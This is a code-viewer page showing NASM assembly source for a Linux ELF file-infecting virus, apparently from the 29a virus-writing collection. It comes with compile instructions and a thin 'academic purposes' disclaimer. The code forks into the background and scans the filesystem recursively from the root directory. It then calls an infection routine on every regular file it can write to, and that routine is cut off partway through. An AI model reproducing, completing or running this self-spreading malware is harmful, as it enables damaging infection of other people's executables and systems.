?? 29a-7.018
字號:
;(c)Gildo
;
;this source is been written only for accademical purpouses,
;it's not intended for malicious purpouses else I'm not responsable
;of how you'll use it.
;compile with:
;nasm -f elf virus.asm -o virus.o && ld -e main virus.o -o virus
;thanks to Silvio Cesare a lot, I think I'll love him
;thanks to my friends Perikles,uNdErX,d3lta,T00FiC,urgo32,...
;and every programmer not closed mind
%ifdef DEBUG
extern printf
%endif
section .text
global main
main:
push edx ;;;;;;;;pointer to func called at atexit()
push ebp ;[ebp]=old ebp
mov ebp,esp
;here I fork so I go in background
mov eax,2
mov ebx,0
int 0x80 ;SYS fork() the background will do the infection
cmp eax,0
jne parent
mov eax,24
int 0x80 ;getuid
push eax ;[ebp-4]=uid
mov eax,47
int 0x80 ;getgid
push eax ;[ebp-8]=gid
sub esp,64 ;[ebp-72]=struct stat
push dword 0
push dword 0x2f ;0x2f='/' <-directory root to begin the scan
;push dword '/aha'
push dword 7 ;writepermissions 4=readonly,2=write only
call scan_dir
add esp,12
add esp,64 ;restore stack
add esp,8 ;restore uid,gid
;------the child finish
mov eax,1
mov ebx,0
int 0x80 ;exit
parent:
push dword 0x0a297374
push dword 0x6e656d6d
push dword 0x6f632072
push dword 0x6f662820
push dword 0x6d682e7a
push dword 0x7a614a40
push dword 0x6f646c69
push dword 0x47206c69
push dword 0x616d650a
;0x8c from main:
push dword 0x0a737572
push dword 0x6976206f
push dword 0x646c6947
mov eax,4
mov ebx,1
mov ecx,esp
mov edx,12*4
int 0x80
add esp,12*4
parent_process: ;the parent process jumps here
pop ebp
pop edx ;;;;;;;atexit()
jmp ahah ;here overwrite a jump tp old entry point
ahah:
mov eax,1
mov ebx,0
int 0x80 ;exit (here I will write a jmp to old entry point)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
scan_dir:
;push ebp don't change ebp! else how can I access global members form
; my recursive function?!? So I'll use esp as base pointer
;mov ebp,esp
mov esi,esp
add esi,8 ;point to arg2: filename
mov edi,esp
add edi,4 ; point to arg1:
;writepermissions (&2==2 if can write for parent directory permissions)
%ifdef DEBUG
push esi ;;debug esi(arg2)
push string3a
call printf
add esp,8 ;;
%endif
xor ecx,ecx ;;debug edi(arg1)
mov cl,byte [edi]
%ifdef DEBUG
push ecx
push string10a
call printf
add esp,8 ;;
%endif
;-----------stack variables
sub esp,4 ;fd
sub esp,1 ;permissions 00-07
sub esp,1 ;file_type 010=regular file,04=directory
sub esp,128 ;pathname ;;;TODO:::change to 4095 as linux/limits.h says
;-----------stat
mov eax,106
mov ebx,esi ;pointer to ascii filename
mov ecx,ebp
sub ecx,72 ;ecx=pointer to struct stat
int 0x80
%ifdef DEBUG
push eax ;;debug
push string6a
call printf
add esp,4
pop eax ;;
%endif
cmp eax,0
jge c_stat
jmp error_stat
c_stat:
;----------verify permissions
mov ebx,ebp
sub ebx,72 ;ebx=pointer to struct stat
mov ax,[ebx+8] ;st_mode (short)
mov dx,ax
;look who owns the permissions
mov cx,word [ebx+12] ;stat.st_uid
cmp word cx,[ebp-4] ;process uid (short)
je user_permissions
mov cx,word [ebx+14] ;stat.st_gid
cmp cx,word [ebp-8] ;process gid (short)
je group_permissions
cmp word [ebp-8],0 ;process gid==0
je user_permissions
others_permissions:
and al,7q ;7q=mask for others
jmp c_permissions
user_permissions:
shr ax,6 ;shift right of 6 bits
and al,7q
jmp c_permissions
group_permissions:
shr ax,3 ;shift right of 3 bits
and al,7q
c_permissions:
mov byte [esp+128+1],al ;store file permissions of the user
xor ecx,ecx ;;;debug permissions
mov cl,al
%ifdef DEBUG
push ecx
push string5a
call printf
add esp,8 ;;
%endif
;--------verify file type
mov ebx,ebp
sub ebx,72 ;ebx=pointer to struct stat
mov ax,[ebx+8] ;st_mode (short)
and ax,170000q ;bit-mask for file-type
shr ax,12
mov byte [esp+128],al ;store the file-type
xor ecx,ecx ;;;debug file-type
mov cl,al
%ifdef DEBUG
push ecx
push string7a
call printf
add esp,8 ;;
%endif
;decision: if is a regular file->if write perm.-> infect it
; if is a directory->chdir(directory);scan_dir(*);
mov al,byte [esp+128]
cmp al,4q
je is_directory
cmp al,10q
je is_regular_file
jmp e_scan_dir
is_regular_file:
;infect it, the file name is pointed by esi
mov ecx,[edi] ;;;debug writepermissions
%ifdef DEBUG
push ecx
push string9a
call printf
add esp,8 ;;
%endif
;if I have write permission of my parent directory and
;if the file permissions allow me to write then infect the file
mov ecx,[edi] ;writepermissions (parentdir)
and cl,2q
cmp cl,2q
je c1_is_regular_file ;if I have parent permissions
jmp e_scan_dir
c1_is_regular_file:
mov cl,byte [esp+128+1] ;look file permissions (of stat)
and cl,2q
cmp cl,2q
je c2_is_regular_file
jmp e_scan_dir
c2_is_regular_file: ;now I can infect
call infect_file
jmp e_scan_dir
is_directory:
;----------save the current working directory in the stack
mov eax,183
mov ebx,esp ;pathname
mov ecx,128
int 0x80 ;SYS getcwd
%ifdef DEBUG
push eax ;;debug getcwd status
push string12a
call printf
add esp,8 ;;
push esp ;;debug current dir
push string11a
call printf
add esp,8 ;;;
%endif
;----------open file descriptor of the directory
mov eax,5
mov ebx,esi ;ptr to ascii filename
mov ecx,0 ;O_RDONLY
mov edx,0
int 0x80
cmp eax,0
jge c1_is_directory
jmp error_opening_file
c1_is_directory:
mov [esp+128+2],eax ;;fd
%ifdef DEBUG
push dword [esp+128+2] ;;debug fd
push string4a
call printf
add esp,8 ;;
%endif
;----------chdir path
mov eax,12
mov ebx,esi
int 0x80 ;SYS chdir
;----------readdir
sub esp,266 ;allocate space for dirent
l_readdir:
mov eax,89
mov ebx,[esp+266+128+2] ;;fd
mov ecx,esp ;ptr to struct dirent
mov edx,1
int 0x80 ;sys readdir
cmp eax,1
jne e_l_readdir
;call scan_dir for every file,
;prototipe: scandir(dword [esp+4]=writepermissions,esp+8=ptr to filename)
;if dirent.d_name="." or ".." -> skip
cmp word [esp+10],0x002e ;if == ".\0" skip
je skip_l_readdir
cmp word [esp+10],0x2e2e ;if == ".." skip
je skip_l_readdir
;cmp word [esp+10],
xor eax,eax
mov al, [esp+266+128+1] ;directory permissions
add esp,10 ;dirent.d_name is at offset 10
push eax
call scan_dir ;;;here be recursive
add esp,4 ;restore writepermissions
sub esp,10 ;restore dirent.d_name is at offset 10
skip_l_readdir:
jmp l_readdir
e_l_readdir:
add esp,266 ;restore allocated space for dirent
;----------close file descriptor fd
mov eax,6
mov ebx,[esp+128+2] ;;fd
int 0x80 ;SYS close
;----------chdir previous current directory
mov eax,12
mov ebx,esp
int 0x80
error_stat:
error_opening_file:
e_scan_dir:
add esp,134 ;restore all allocated stack
ret
;end scan_dir
%ifdef DEBUG
string1a: db 'uid=%d',10,0
string2a: db 'gid=%d',10,0
string3a: db 'arg2 passed (filename)=%s',10,0
string4a: db 'fd=%u',10,0
string5a: db 'permissions=%u',10,0
string6a: db 'stat return=%d',10,0
string7a: db 'file-type=%u',10,0
string8a: db 'infecting file: %s',10,0
string9a: db 'writepermissions= %u',10,0
string10a: db 'arg1 passed (wp)=%u',10,0
string11a: db 'current dir=%s',10,0
string12a: db 'getcwd return=%d',10,0
%endif
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;INFECT
%define VIRUS_SIZE 0x1000
%define STACK2 50
infect_file:
;the filename to infect is in esi
;-------------------stack2
sub esp,STACK2 ;allocate memory
mov ebx,esi
mov [esp+STACK2-44],esi ;;;;;;;;;;;;;[esp+STACK2-44]=ptr to filename
;;open the file# in: ebx (file-name); out: eax (file descriptor);
open:
mov eax,5
mov ecx,2 ;2=O_RDWR ,but I can open O_RDONLY=0 becouse I read only now
mov edx,0
int 0x80 ;open file
cmp eax,0
jg no_open_error
jmp open_error ;error opening file, switch to the next file
no_open_error:
mov [esp+STACK2-4],eax ;;;;;;;;;;;;;;[esp+STACK2-4]=fd (read-write)
%ifdef DEBUG
push eax ;;debug
push string1
call printf
add esp,8
%endif
;;end open
;;ask the kernel the file length, stat struct defined in <asm/stat.h>
;; stat(const char *file_name, struct stat *buf);
file_length:
mov eax,106
mov ebx,esi ;filename (assume in esi)
sub esp,64 ;pass stat struct on the stack, alloca size(64)
mov ecx,esp ;ecx <- stat struct address
int 0x80 ;;;SYS stat
mov eax,[esp+0x14] ;filesize
add esp,64 ;restore the stack
mov [esp+STACK2-8],eax ;;;;;;;;;;;;;;[esp+STACK2-8]=file length
%ifdef DEBUG
push dword [esp+STACK2-8]
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -